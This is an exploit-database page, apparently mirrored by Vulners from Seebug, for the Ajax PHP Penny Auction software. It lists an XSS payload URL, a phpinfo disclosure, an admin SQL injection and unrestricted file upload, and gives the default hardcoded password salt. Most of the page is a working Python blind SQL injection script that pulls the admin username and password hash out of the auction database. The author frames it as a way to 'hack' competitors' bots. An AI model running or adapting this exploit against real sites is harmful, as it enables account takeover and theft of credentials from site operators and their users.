Lucene search
K

Ajax PHP Penny Auction 1.x 2.x - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

Ajax PHP Penny Auction 1.x 2.x - Multiple Vulnerabilities. Website: ajaxphppennyauction.com. XSS, PHPinfo Information Disclosure, Blind SQL Injection, File Upload, MySQL Integer SQLi. Contact: [email protected]

Code

                                                ################################################################################
#          Ajax PHP Penny Auction 1.x 2.x multiple Vulnerabilities             #
#                       Found by : Taha Hunter                                 #
#Info :                                                                		   #
#     Ajax PHP Penny Auction is one of the most proven and reliable            #
# Penny Auction software options available on the market. Based on a           #
#  proprietary AJAX Streaming Engine which has four years of                   #
#   refinement and debugging under its belt in real live site action.          #
#              	                                                               #
#																			   #
#           website : http://www.ajaxphppennyauction.com/                      #
################################################################################

XSS : 

http://[target]/forgotpasswd.php/"onmouseover='alert("XSS")'">

Phpinfo Information Disclosure :

http://[target]/phpinfo.php

Blind SQL Injection :

#!/usr/bin/pyhon
################################################################################
#																			   #
#	         Ajax PHP Penny Auction version 1.x 2.x maybe oders                #
#                  item.php Blind SQL Injection Exploit   	                   #
#		if you can not beat autoclickers bots ==> hack them ;)	   			   #
#					Found & Coded by : Taha Hunter							   #
#				By default there is a table suffix called					   #
#	  PHPAUCTIONXL_ added to all table names you can remove it if its needed   #
#		The Password is like  form md5($salt.$password)          			   #
#  the salt is hardcoded in /includes/config.inc.php by default its value is   #
#    $MD5_PREFIX = "This_Is_My_Random_String_For_The_MD5_Hash_Algorithm";      #
#																			   #
#File Upload :											    				   #
#if you get the admin password you can upload arbitrary files from 		       #
#http://[target]/admin/homepage.php there is no check for file extention	   #
#																			   #
#MySQL Integer SQLi :	                                                       #
#http://[target]/admin/userbidhistoryauctions.php?id=65'					   #
#you must first be logged as admin probably more vulnerablities still there..  #
#																			   #
#																		       #
# Usage : python ajaxphpa.py -u http://www.target.com/item.php?id=[a valid id] #
#																		       #
#																		       #
# 		Greetz to : Mehdi,Esac,Issam,Ali,Haitam,Imad and all friends ;)        #
#																		       #
#																		       #
#					Contact me : [email protected]	        		       #
#																		       #
################################################################################


import urllib2
from threading import Thread
from time import sleep
from optparse import OptionParser
print "#######################################################################"
print "#                                                                     #"
print "#      Ajax PHP Penny Auction 1.x 2.x Blind SQL Injection Exploit     #"
print "#                                                                     #"
print "#             Found & Coded by : Taha Hunter                          #"
print "#                                                                     #"
print "#           Contact me : [email protected]                        #"
print "#                                                                     #"
print "#python ajaxphpa.py -u http://www.target.com/item.php?id=[a valid id] #"
print "#                                                                     #"
print "#######################################################################"
print ""
print ""
name = ""
admin_user = ""
admin_password = ""
strinng=[]
def valid_test(url,type,val,sig):
	yep = urllib2.urlopen(url+type+sig+str(val)).read()
	if keyword in yep:
		return 1
	else:
		return 0

def start_guessing(url,type,guess_type):
		total = 0
		n_guess = 0
		fixer = 0
		max = 255
		string =""
		guess = int(max)/2
		while(total != 9):
			if(valid_test(url, type,guess, '>')):	
				fixer = guess
				n_guess = int(guess + ((max - fixer)/2))
			if(valid_test(url,type, guess, '<')):
				max = guess
				n_guess = int(guess - ((max - fixer)/2))
	 
			if(valid_test(url, type,guess, '=')):
				if guess_type == 'len':
					return guess
				if guess_type == 'ascii':
					return chr(guess)
			guess = n_guess
			total += 1
def loader(id,strinng,url,type,guess_type,lenn):
	strinng[id] =start_guessing(url,type,guess_type)
keyword = "item_watch.php?add="
db_len = "%20and%20Length((database()))"
usage = 'usage: %prog -u http://[target]/item.php?id=[a valid id]'
parser = OptionParser(usage=usage)
parser.add_option("-u", action="store", type="string", dest="url1", help='"http://[target]/item.php?id=1080"')
(options, args) = parser.parse_args()
if(options.url1):
	url = options.url1
else:
	print "[-] Please insert a valid URL !"
	exit()
print "[+] Connecting to site"
req = urllib2.urlopen(url).read()
if not keyword in req:
	print "[-] Please use a valide ID for the link !"
	exit()
''' #If you want to know DB Name
print "[+] Finding Database Name Length"
lenn = start_guessing(url,db_len,'len')
print "[+] DB length is ==> "+str(lenn)
print "[+] Finding Database Name"
for a in range(lenn):
		strinng.append('1337')
for i in range(1,lenn+1):
	db_name ="%20and%20ascii(substring((database())%2C"+str(i)+"%2C1))"
	Thread(target=loader,args=[i-1,strinng,url,db_name,'ascii',lenn]).start()
while '1337' in strinng:
	sleep(3)
	#print strinng #incomment this line if you want to see progression 
	continue
for i in range(len(strinng)):
	name += strinng[i]
print "[+] Database Name is ==> " + name
'''
un_len = "%20and%20Length((select%20username%20from%20PHPAUCTIONXL_adminusers%20limit%200%2C1))"
pass_len ="%20and%20Length((select%20password%20from%20PHPAUCTIONXL_adminusers%20limit%200%2C1))"
print "[+] Finding Username Length may take a while..."
lenn = start_guessing(url,un_len,'len')
print "[+] Done ."
del strinng[:]
for a in range(lenn):
		strinng.append('1337')
print "[+] Extracting Username may take a while..."
for i in range(1,lenn+1):
	username = "%20and%20ascii(substring((select%20username%20from%20PHPAUCTIONXL_adminusers%20limit%200%2C1)%2C"+str(i)+"%2C1))"
	Thread(target=loader,args=[i-1,strinng,url,username,'ascii',lenn]).start()
while '1337' in strinng:
	sleep(3)
	#print strinng # incomment this line if you want to see progression 
	continue
for i in range(len(strinng)):
	admin_user += strinng[i]
print "[+] Found ! Username is ==> " +admin_user
print "[+] Finding Password Length may take a while..."
lenn = start_guessing(url,pass_len,'len')
print "[+] Done ."
del strinng[:]
for a in range(lenn):
		strinng.append('1337')
print "[+] Extracting Password may take a while..."
for i in range(1,lenn+1):
	password = "%20and%20ascii(substring((select%20password%20from%20PHPAUCTIONXL_adminusers%20limit%200%2C1)%2C"+str(i)+"%2C1))"
	Thread(target=loader,args=[i-1,strinng,url,password,'ascii',lenn]).start()
while '1337' in strinng:
	sleep(3)
	#print strinng #incomment this line if you want to see progression 
	continue
for i in range(len(strinng)):
	admin_password += strinng[i]
print "[+] Found ! Password is ==> " +admin_password
print "[+] Username => "+admin_user+" Password : => "+admin_password
print "[+] Done Enjoy !"
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation